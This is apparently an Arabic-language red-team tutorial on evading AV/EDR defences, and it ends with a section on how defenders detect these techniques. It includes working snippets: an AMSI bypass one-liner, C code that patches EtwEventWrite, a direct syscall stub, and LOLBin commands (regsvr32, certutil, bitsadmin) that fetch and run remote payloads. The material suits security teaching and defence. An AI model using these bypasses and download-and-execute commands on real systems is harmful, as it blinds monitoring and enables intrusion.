الفرق الحمراء — الهجومخبير90mL13
التملص الدفاعي وتمويه الحمولات البرمجية
تجاوز EDR/AV، وتخطي حماية AMSI/ETW
#AMSI#ETW#Syscalls#Packers
لعبة القط و الفأر
تشبيه — شرح مبسط
أنظمة الحماية الحديثة (EDR) لا تبحث عن «الفيروس» القديم بل عن السلوك المريب: عملية Word فجأة تشغل PowerShell، أو ذاكرة فيها أنماط Cobalt Strike. مهمة المهاجم المتقدم: التمويه ليبدو نشاطه طبيعياً.
هام
هذا الدرس لـ red team مصرّح به فقط. الهدف الحقيقي: أن يعرف المدافع ماذا يبحث عنه و أن لا يثق ثقة عمياء بـ AV.
طبقات الكشف التي يجب تجاوزها
- Static AV — توقيعات الملف.
- AMSI — يفحص النصوص قبل تنفيذها (PowerShell, JS, VBA).
- ETW — مصدر تليمتري لـ EDR.
- User-mode hooks داخل ntdll.dll.
- Kernel callbacks (PsSetCreateProcessNotifyRoutine).
- Behavioral / ML في السحابة.
AMSI Bypass — أساسيات
AMSI = Antimalware Scan Interface. يتعرّض الـ PowerShell payload له قبل التنفيذ. الفكرة: إفساد العلم (amsiInitFailed) أو تصحيح الذاكرة.
PowerShell — historical
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)الأساليب الحديثة:
- Hardware Breakpoints على AmsiScanBuffer.
- Patch in memory — VirtualProtect → mov eax, 0x80070057 ; ret.
- Reflection + obfuscation ديناميكي للسلاسل.
ETW Patching — تعمية المراقبة
الـ EDR يقرأ من ETW providers. تعطيل EtwEventWrite داخل العملية يقطع التليمتري عنها فقط (لا عن النظام).
C — concept
DWORD oldProt;
void* p = GetProcAddress(GetModuleHandleA("ntdll"), "EtwEventWrite");
VirtualProtect(p, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)p = 0xC3; // ret
VirtualProtect(p, 1, oldProt, &oldProt);Unhooking — استرجاع ntdll نظيف
الـ EDR يضع jmp في بداية دوال ntdll. نعيد قراءة ntdll.dll من القرص و نستبدل قسم .text في الذاكرة.
Direct & Indirect Syscalls
بدلاً من استدعاء NtAllocateVirtualMemory من ntdll (المهوكة)، ننفّذ syscall مباشرة.
- SysWhispers3 / Hell's Gate / Halo's Gate / Tartarus Gate.
- Indirect syscall أصعب اكتشافاً (يحافظ على شكل call stack).
ASM
Nt$Func PROC
mov r10, rcx
mov eax, SSN
syscall
ret
Nt$Func ENDPProcess Injection — الكلاسيكيات الحديثة
- Process Hollowing — تشغيل عملية شرعية ثم استبدال محتواها.
- Module Stomping — تحميل DLL شرعي ثم الكتابة فوقه.
- Early Bird APC — حقن قبل بدء التنفيذ الفعلي.
- Thread Pool Injection (PoolParty) — يتجاوز معظم الـ EDRs حالياً.
- Indirect Dynamic Call + stack spoofing.
Payload Obfuscation و التشفير
- Donut — حوّل PE/DLL/.NET إلى shellcode مشفّر.
- Sliver / Havoc — توليد implants مع sleep obfuscation (Ekko, Foliage).
- Nimcrypt2 / PEzor / Freeze.
- Sleep masking — تشفير الذاكرة أثناء الـ sleep ليتجنب memory scanners.
- Stack Spoofing — تزييف call stack ليبدو كأن النداء جاء من مكان شرعي.
Living-off-the-Land (LOLBins)
استخدام أدوات Microsoft الموقّعة لتنفيذ كود — يمر دون توقيع خبيث:
LOLBAS examples
rundll32.exe shell32.dll,Control_RunDLL evil.cpl
regsvr32 /s /u /n /i:http://a/b.sct scrobj.dll
certutil -urlcache -split -f http://a/x.exe x.exe
bitsadmin /transfer j http://a/x.exe %temp%\x.exe
InstallUtil.exe /logfile= /LogToConsole=false /U evil.exe
wmic process call create "powershell -enc ..."قائمة مرجعية: lolbas-project.github.io.
Sandbox & VM Evasion
- التحقق من عدد المعالجات و الذاكرة (≤2 cores, <4GB RAM = sandbox محتمل).
- قياس وقت Sleep (sandbox غالباً يقفز فوقه).
- وجود VBoxService.exe / vmtoolsd.exe / artifacts.
- تحرّك الفأرة و سجل الـ recent docs.
- Domain check — لا تنفّذ إلا داخل دومين الضحية.
الدفاع — كيف يكشف الـ Blue Team هذه التقنيات
- Sysmon + قواعد SwiftOnSecurity / Olaf Hartong.
- ETW-TI (Threat Intelligence provider) لرصد syscalls مباشرة.
- Memory scanning دوري بـ Moneta / pe-sieve / Hollows Hunter.
- قواعد YARA على الذاكرة لـ CobaltStrike beacons, Sliver, Mythic.
- كشف unbacked memory (RWX, no module) = إنذار.
- منع child processes غير المعتادة من Office عبر ASR rules.
- تطبيق WDAC / AppLocker في وضع enforced.
- Credential Guard, HVCI.
حقيقة دفاعية
أفضل EDR لن يكشف 100%. الكشف الحقيقي يأتي من دمج عدة طبقات: سلوك + شبكة + هوية + سحابة، مع UEBA فوقها.